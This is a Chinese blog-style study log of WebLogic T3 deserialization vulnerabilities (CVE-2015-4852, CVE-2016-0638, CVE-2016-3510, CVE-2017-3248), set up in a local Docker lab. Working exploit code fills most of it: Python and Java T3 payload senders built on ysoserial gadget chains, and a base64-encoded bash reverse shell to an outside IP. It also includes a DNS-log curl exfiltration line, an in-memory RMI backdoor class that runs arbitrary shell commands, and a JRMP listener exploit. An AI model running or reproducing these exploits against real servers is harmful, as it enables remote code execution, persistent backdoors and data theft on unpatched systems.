April 26, 2023

Weblogic全漏洞学习

参考:

Weblogic基础-T3协议学习

和我们学的JDBC反序列化一样,Weblogic也有类似的过程,最主要体现在反序列化的标识和一些hanshake握手包,先进行一手环境搭建

环境搭建

这里使用的是docker+IDEA远程调试,这种方式其实也并不是非常麻烦,用过一次后就好多了
首先把镜像起了,Github上有现成的环境[https://github.com/QAX-A-Team/WeblogicEnvironment](https://github.com/QAX-A-Team/WeblogicEnvironment)
这里没有给你JDK环境,所以你得自己去搞一下
JDK安装包下载
[https://www.oracle.com/java/technologies/downloads/archive/](https://www.oracle.com/java/technologies/downloads/archive/)
Weblogic安装包下载地址:
下载generic
https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
进去后先build一层镜

1
docker build --build-arg JDK_PKG=jdk-8u202-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk8u202 .

然后再run起来

1
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk8u202 weblogic1036jdk8u202

这里是不可以直接run起来的,因为有些BUG,它的dockerfile没有写好,所以需要加上这一条:

1
2
3
RUN cd /etc/yum.repos.d/
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*

访问[http://localhost:7001/console/login/LoginForm.jsp](http://localhost:7001/console/login/LoginForm.jsp),出现如下登录界面
image.png

T3协议概述

RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。以下是T3协议的特点:

  1. 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  2. 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

T3协议结构

请求包头:
请求头的数据如下

1
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

我们用python写一个脚本发送请求头给服务器,用wireshark抓包看看会是什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket

def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())

if __name__ == "__main__":
ip = "localhost"
port = 7001

T3Test(ip,port)

选择本地回环进行抓取
image.png
可以发现webloigc返回给我们的报文,里面包括了一些版本信息,这里有2张图可以较好的描述一下
image.png
image.png
第二到第七部分内容,开头都是ac ed 00 05,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式

  1. 将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
  2. 将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

以上分析来自于@sp4z师傅,个人感觉说的比较好,确实有2种替换方式,因为2-7部分全是序列化部分,并且最终会在服务端反序列化的

CVE-2015-4852(T3 反序列化漏洞)

简单复现

准备好我们上述的Weblogic1036,搭建起来后用如下脚本进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
JAR_FILE = 'ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return

print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)

if __name__ == "__main__":
host = "localhost"
port = 7001
gadget = "CommonsCollections6" #CommonsCollections1 Jdk7u21
command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
# command = "curl http://`whoami`.5dhwnx.dnslog.cn"

payload = get_payload1(gadget, command)
exp(host, port, payload)

将ysoseiral放在脚本相同目录,然后运行即可收到反弹shell
image.png

序列化内容分析

一开始我们分析了一下请求头和响应包,那我们现在来看看
image.png
还是跟刚刚一样抓包,可以看到我们已经将第三个数据包换成了ysoserial的恶意paylaod,然后关于这个数据包分为四个组成部分

  1. 数据包长度
  2. T3协议头
  3. 反序列化标志:T3协议中每个反序列化数据包前面都带有fe 01 00 00,再加上反序列化标志ac ed 00 05就变成了fe 01 00 00 ac ed 00 05
  4. 数据

image.png
长度就是数据包的长度,然后T3协议头和上面说到的请求包头不是一个东西,这个协议头是固定的,在payload中注释提到了

远程调试准备

分析完内容之后就该调试了
在分析之前需要做好远程调试的准备,我们在build的时候开放的是8453端口,因此调试的时候选这个端口即可
首先把需要的lib导出

1
2
3
4
5
C:\Users\22927>  docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/modules E:\CTFLearning\WeblogicEnvironment-master

C:\Users\22927> docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/wlserver E:\CTFLearning\WeblogicEnvironment-master

C:\Users\22927> docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/coherence_3.7/lib E:\CTFLearning\WeblogicEnvironment-master

在调试之前你需要源码内容,打开IDEA,随便创建一个maven项目,将上面的东西都当成依赖导入,然后加一个远程JVM DEBUG服务,开始调试,端口为8453
image.png

原理分析

漏洞点处于InboundMsgAbbrev#readObject
image.png
调用了内部类ServerChannelInputStream的readObject方法,该类继承ObjectInputstream
image.png
并且有自己的resolveclass方法
image.png
因此最终进入的会是这里,但是在走入这一步之前还有一些步骤,可以看到调用的是父类也就是ObjectInputstream方法的resolveclass,并且自身的resolveclass没有任何防护,所以就会造成反序列化攻击漏洞
image.png
首先是ObjectInputstream#readObject
image.png
然后是readObject0,
image.png
readOrdinaryObject,并且从下方变量可以看到payload里面的Hashset
image.png
ReadClassDesc方法,然后可以看到红框中有2个分支,分别是proxy和noneproxy,这里用的是CC6,因此没有proxy代理,因此进入下面分支
image.png
image.png
回到最初的resolveclass进行后续处理,随之就是命令执行了。
image.png
因为没有给重写的resolveclass方法加上黑名单,所以我们可以使用恶意payload进行攻击,并且webloigc是自带低版本的CC依赖包的:
image.png
因此攻击思路就成立了,最后从网上扒下来一张流程图
image.png

漏洞修复

修复的也很简单,就是直接在resolveclass打补丁,因为这是最方便的
image.png
虽然方便,但是双向来看,攻击者也更方便知道如何绕过了,既然你ban了黑名单,我们就可以进行bypass,因此也就有了接下来后续的漏洞

CVE-2016-0638(CVE-2015-4852 修复后的绕过)

环境

Weblogic1036、JDK8U202

漏洞概况

前提知识:在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法

和上面说的一样,补丁设置了一些黑名单,现在我们需要做的事情就是找到别的类中是否有可以利用的readObject进行二次反序列化,这样就可以绕过了,并且注意我 们前提知识里的话,会依次调用readObject、readResolve、readExternal。这样的话思维不就更开阔了,我们可以找一个类里面有这三个里面任选一个的方法,三选一可能性加大

漏洞原理

在这里大佬们是找到了weblogic.jms.common.StreamMessageImpl
这B类我在1036版本怎么找都是找不到,我猜是在补丁里,但这补丁又要钱网上下不到,所以偷个懒QWQ
这个类不在黑名单中,因此可以进行反序列化,我们看看这个类的结构
image.png
这个类中的readExternal方法里面最终调用了readObject,因此最终造成了二次反序列化,var4的由来如下
image.png
image.png
image.png
最后是在一个Chunk中的,所以我们只需要生成payload的时候丢进去即可

填坑

网上并没有说明这个问题捏,浪费我2个小时,我草了
破案了,破大案了,不是说找不到类吗,结果一搜发现一个问题
image.png
就是咱们的StreamMessageImpl类是需要我们手动创建出来的。。。否则找不着,按照他说的创建一下
java -jar ../../../modules/com.bea.core.jarbuilder_X.X.X.X.jar
/java/bin/java -jar ../../../modules/com.bea.core.jarbuilder_1.7.0.0.jar
在运行上述指令前,你需要进入wlserver/server/lib目录,否则会报错
image.png
然后运行之后就可以得到jar包拉,我们想调试的话需要把这个jar包加入依赖
image.png

漏洞复现?漏洞复现!

这里使用开源工具https://github.com/5up3rc/weblogic_cmd
下载下来,然后JDK版本要求是1.6,配置一下,如下
image.png
直接发射,即可执行命令
image.png
但是我这里报了个这个错误,这是因为我上述环境没有配置好的原因Orz,由于我的jdk用的是8u202所以CC1是打不通的!
image.png
该工具生成payload的地方如上,采用完整CC1流程,那我就想魔改一下改成CC6,那样就可以和CVE2015一样成功执行了

  • 4.8 好累啊今天呜呜呜,歇一下明天再搞吧
  • 4.9 改完了,起床了,EZEZ

魔改为CC6其实很简单,因为这个工具的分离其实做的不错,嵌合度没有太高,我们可以很轻松的改链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private static byte[] serialData(Transformer[] transformers) throws Exception {
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
// 初始化map 设置laymap
Map<Object,Object> lazymap = LazyMap.decorate(innerMap,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
innerMap.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,transformerChain);
Object _handler = BypassPayloadSelector.selectBypass(hashMap);
return Serializables.serialize(_handler);
}

将生成payload的地方改为我设置的即可
image.png
getshell!

EXP流程分析

漏洞原理就和一开始一样,我们看看是怎么生成payload的,开启debug模式给断点
image.png
首先进行一系列的初始化,并判断我们传入的参数,随之进入executebind方法
image.png
接下来获取参数中的B和C,必须要有这两个才能进行下一步
image.png
进入bindExecute方法
image.png
判断系统是Linux还是windows,这里是Linux,随后进入生成payload的函数SerialDataGenerator.serialBlindDatas
image.png
image.png
这里是生成CC链里的chaintransformer的地方,生成完后退回serialBlindDatas,进入serialData
image.png
image.png
这里就是我们魔改的地方了,改为CC6,在最后之前会判断一下bypass,因为有2种方式可以绕过黑名单,这是第一种
image.pngimage.png
咱们这里的方法为streamMessageImpl
image.png
image.png
最外层的壳为streamMessageImpl了,至此payload生成结束,随后就是序列化并发往服务端
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
  public static void send(String host, String port, byte[] payload) throws Exception {
Socket s = SocketFactory.newSocket(host, Integer.parseInt(port));
//AS ABBREV_TABLE_SIZE HL remoteHeaderLength 用来做skip的
String header = "t3 7.0.0.0\nAS:10\nHL:19\n\n";

if (Main.cmdLine.hasOption("https")) {
header = "t3s 7.0.0.0\nAS:10\nHL:19\n\n";
}

s.getOutputStream().write(header.getBytes());
s.getOutputStream().flush();
BufferedReader br = new BufferedReader(new InputStreamReader(s.getInputStream()));
String versionInfo = br.readLine();
if (Main.version == null) {
versionInfo = versionInfo.replace("HELO:", "");
versionInfo = versionInfo.replace(".false", "");
System.out.println("weblogic version:" + versionInfo);
Main.version = versionInfo;
}
// String asInfo = br.readLine();
// String hlInfo = br.readLine();
// System.out.println(versionInfo+"\n"+asInfo+"\n"+hlInfo);

//cmd=1,QOS=1,flags=1,responseId=4,invokableId=4,abbrevOffset=4,countLength=1,capacityLength=1

//t3 protocol
String cmd = "08";
String qos = "65";
String flags = "01";
String responseId = "ffffffff";
String invokableId = "ffffffff";
String abbrevOffset = "00000000";
String countLength = "01";
String capacityLength = "10";//必须大于上面设置的AS值
String readObjectType = "00";//00 object deserial 01 ascii

StringBuilder datas = new StringBuilder();
datas.append(cmd);
datas.append(qos);
datas.append(flags);
datas.append(responseId);
datas.append(invokableId);
datas.append(abbrevOffset);

//because of 2 times deserial
countLength = "04";
datas.append(countLength);

//define execute operation
String pahse1Str = BytesOperation.bytesToHexString(payload);
datas.append(capacityLength);
datas.append(readObjectType);
datas.append(pahse1Str);

//for compatiable fo hide
//for compatiable fo hide
AuthenticatedUser authenticatedUser = new AuthenticatedUser("weblogic", "admin123");
String phase4 = BytesOperation.bytesToHexString(Serializables.serialize(authenticatedUser));
datas.append(capacityLength);
datas.append(readObjectType);
datas.append(phase4);

JVMID src = new JVMID();

Constructor constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean.class);
constructor.setAccessible(true);
src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1"),false);
Field serverName = src.getClass().getDeclaredField("differentiator");
serverName.setAccessible(true);
serverName.set(src,1);

datas.append(capacityLength);
datas.append(readObjectType);
datas.append(BytesOperation.bytesToHexString(Serializables.serialize(src)));

JVMID dst = new JVMID();

constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean.class);
constructor.setAccessible(true);
src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1"),false);
serverName = src.getClass().getDeclaredField("differentiator");
serverName.setAccessible(true);
serverName.set(dst,1);
datas.append(capacityLength);
datas.append(readObjectType);
datas.append(BytesOperation.bytesToHexString(Serializables.serialize(dst)));

byte[] headers = BytesOperation.hexStringToBytes(datas.toString());
int len = headers.length + 4;
String hexLen = Integer.toHexString(len);
StringBuilder dataLen = new StringBuilder();

if (hexLen.length() < 8) {
for (int i = 0; i < (8 - hexLen.length()); i++) {
dataLen.append("0");
}
}

dataLen.append(hexLen);
s.getOutputStream().write(BytesOperation.hexStringToBytes(dataLen + datas.toString()));
s.getOutputStream().flush();
s.close();

}

}

直接用代码来展示了,这其实做的就是当时py脚本做的事情,由于java太臭了所以显得很长

CVE-2016-3510(另一种绕过)

环境

Weblogic1036、JDK8U202

漏洞概况

之前不是用的StreamMessageImpl二次反序列化嘛,但是我们需要关注一件事情

在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法

这个需要注意呀,上面是在readExternal,而这次dalao们找到的类是MarshalledObject (weblogic.corba.utils)中的readResolve方法

漏洞复现

很简单只需改一下上面payload中的类型:
image.png
之后也是直接发射
image.png
直接getshell,接下里分析一下漏洞的触发链,EXP生成过程就不说了,和上面一模一样,只是外面的皮不一样了

漏洞分析

漏洞点位于MarshalledObject#readResolve方法
image.png
在这里对变量var2进行了二次反序列化,和上面一样,那我们看看var2是怎么来的,可以看到最终来自this.objBytes
image.png
在初始化的过程中就已经给他赋值了,所以也是和SteamMessageImpl一样的生成方式拉
image.png
我也重新debug了一下,发现确实是如此

骚姿势来回显命令执行结果

这篇文章介绍了如何处理webloigc无回显的命令执行的问题,假如不出网的话可以用这种方法
这个师傅文章写的很好,介绍了几种冷门回显

RMI反序列化获得回显

环境

Weblogic1036、JDK8U202

漏洞概况

该漏洞是结合RMI对Weblogic进行反序列化的payload,分析起来比较的复杂,但是也很有意义,这就来尝试一波。这个payload是解决webloigc没回显时的方案,也就是不出网,也不打内存马的备案

漏洞复现

起手式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.boogipop.payload;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;

public class RemoteImpl extends AbstractTranslet implements ClusterMasterRemote {

static {
try{
Context ctx = new InitialContext();
ctx.rebind("Boogipop", new RemoteImpl());
}catch (Exception e){

}
}
public static void main(String[] args) {
}


@Override
public void setServerLocation(String cmd, String args) throws RemoteException {

}


@Override
public String getServerLocation(String cmd) throws RemoteException {
try {

List<String> cmds = new ArrayList<String>();

cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);

ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();

BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();

String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}

return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

准备一个恶意的远程接口类,将其编译成字节码,随之传入我们的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
package com.boogipop;

import com.boogipop.serial.Reflections;
import com.boogipop.ssl.WeblogicTrustManager;
import com.boogipop.weblogic.T3ProtocolOperation;
import com.boogipop.weblogic.WebLogicOperation;
import org.apache.commons.cli.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.mozilla.classfile.DefiningClassLoader;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.jndi.Environment;

import javax.naming.Context;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class Main {
public static final String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public static String TYPE = "marshall";
public static List<String> types = Arrays.asList(new String[]{"marshall", "collection", "streamMessageImpl"});
public static String version;
public static CommandLine cmdLine;
private static String cmd = "whoami";
private static byte[] bytes={your_bytes_code};
public static void main(String[] args) {
System.setProperty("weblogic.security.allowCryptoJDefaultJCEVerification", "true");
System.setProperty("weblogic.security.allowCryptoJDefaultPRNG", "true");
System.setProperty("weblogic.security.SSL.ignoreHostnameVerification", "true");
System.setProperty("weblogic.security.TrustKeyStore", "DemoTrust");

Options options = new Options();
options.addOption("H", true, "Remote Host[need set]");
options.addOption("P", true, "Remote Port[need set]");
options.addOption("C", true, "Execute Command[need set]");
options.addOption("T", true, "Payload Type" + types);
options.addOption("U", false, "Uninstall rmi");
options.addOption("B", false, "Runtime Blind Execute Command maybe you should select os type");
options.addOption("os", true, "Os Type [windows,linux]");
options.addOption("https", false, "enable https or tls");
options.addOption("shell", false, "enable shell module");
options.addOption("upload", false, "enable upload a file");
options.addOption("src", true, "path to src file ");
options.addOption("dst", true, "path to dst file ");
options.addOption("noExecPath", false, "custom execute path");
try {
String host = "127.0.0";
String port = "7001";
CommandLineParser parser = new DefaultParser();
cmdLine = parser.parse(options, args);

if (cmdLine.hasOption("H")) {
host = cmdLine.getOptionValue("H");
} else {
HelpFormatter formatter = new HelpFormatter();
formatter.printHelp("test", options);
System.exit(0);
}

if (cmdLine.hasOption("P")) {
port = cmdLine.getOptionValue("P");
}

if (cmdLine.hasOption("C")) {
cmd = cmdLine.getOptionValue("C");
}

if (cmdLine.hasOption("T")) {
TYPE = cmdLine.getOptionValue("T");
}

if (cmdLine.hasOption("U")) {
System.out.println("开始删除rmi实例");
WebLogicOperation.unInstallRmi(host, port);
System.out.println("后门删除实例");
System.exit(0);
}
String url = "t3://" + host + ":" + port;
// 安装RMI实例
invokeRMI(host,port);
Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
environment.setSSLClientTrustManager(new WeblogicTrustManager());
Context context = environment.getInitialContext();
ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("Boogipop");

// 调用RMI实例执行命令
String res = remote.getServerLocation(cmd);
System.out.println(res);
} catch (Exception e) {
e.printStackTrace();
}

}

private static void invokeRMI(String host,String port) throws Exception {
//CC6将远程恶意类打入内存
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{"com.Boogipop.payload.RemoteImpl", bytes}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
new ConstantTransformer(1)};
final Map innerMap = new HashMap();
// 初始化map 设置laymap
Map<Object,Object> lazymap = LazyMap.decorate(innerMap,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap();
hashMap.put(tiedMapEntry,"bbb");
innerMap.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
factory.set(lazymap,transformerChain);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(hashMap);
objOut.flush();
objOut.close();
byte[] payload = out.toByteArray();
T3ProtocolOperation.send(host, port, payload);
}
public static void tobytes() throws FileNotFoundException {
String jarname ="E:\\CTFLearning\\WeblogicEnvironment-master\\weblogic_cmd-master\\weblogic_cmd-master\\out\\production\\weblogic_cmd\\com\\test\\payload\\RemoteImpl.class";
InputStream is = new FileInputStream(jarname);

ByteArrayOutputStream bytestream = new ByteArrayOutputStream();
int ch;
byte imgdata[] = null;
try {
while ((ch = is.read()) != -1) {
bytestream.write(ch);
}
imgdata = bytestream.toByteArray();
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
bytestream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
System.out.println(Arrays.toString(imgdata));
}
}

随之一键运行:
image.png
image.png
有关改写weblogic_cmd的请移步:
记一次Weblogic_cmd小改

漏洞分析

RMI回顾

有关主动请求恶意RMI服务端的东西:
以及ysoserial里exploit和payload模块里一些异同
在之前我们学习过RMI反序列化及其原理分析,这里我们简单回顾一下
Server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.test.rmi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {

public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}

public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {

protected RemoteHelloWorld() throws RemoteException {
super();
}

@Override
public String hello() throws RemoteException {
System.out.println("call hello()");
return "helloworld";
}
}

private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}

public static void main(String[] args) throws Exception {
new RMIServer().start();
}

}

Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.test.Train;

import com.test.rmi.RMIServer;

import java.rmi.Naming;

public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://127.0.0.1:1099/Hello");
String res = hello.hello();
System.out.println(res);
}
}

客户端调用一下就会输出hello,这就是简单的RMI

流程分析

还是那套调试法,应万变
image.png
断点还是给在最初的起点,也就是T3反序列化的那个地方,随之我们运行POC,等待响应,哟来了
image.png
老地方,随后就是裸的触发CC6,先进入Hashmap
image.png
image.png
然后这一套打完了,就会进入Chaintransfomer方法去链式调用方法,接着就会加载到我们的恶意远程类
image.png
首先实例化一下Context,然后后续就是一系列的实例化过程,结束过后就进入远程调用环节
image.png
在服务端执行命令,最后返回结果给客户端了
调用栈如下

1
2
3
4
5
6
7
8
9
10
getServerLocation:42, RemoteImpl (com.boogipop.payload)
invoke:-1, RemoteImpl_WLSkel (com.boogipop.payload)
invoke:667, BasicServerRef (weblogic.rmi.internal)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

这里把流程机制的简化了,为了方便理解,其实我都是一步步跟到挺深的地方

CVE-2017-3248

环境

Weblogic1036、JDK8U202

漏洞概述

该漏洞其实和上个分P里讲到的RMI差不多,这个CVE可以对标TCTF-3rm1了,其中的RemoteObjectInvocationHandler就出自这个漏洞,算是闭环了,学了这么多
这个洞是利用反序列化让Weblogic请求我们恶意的服务端,我们监听一波就好

漏洞复现

将ysoserial复制到exp那个目录里,运行即可
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections6 'touch /tmp/success'
上面的payload需要靶机可以访问到,因此最好放在公网
随之用py2运行exp.py
C:\Python27\python.exe exp.py 127.0.0.1 7001 ./ysoserial.jar 114.116.119.253 8888 JRMPClient
exp内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')


def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d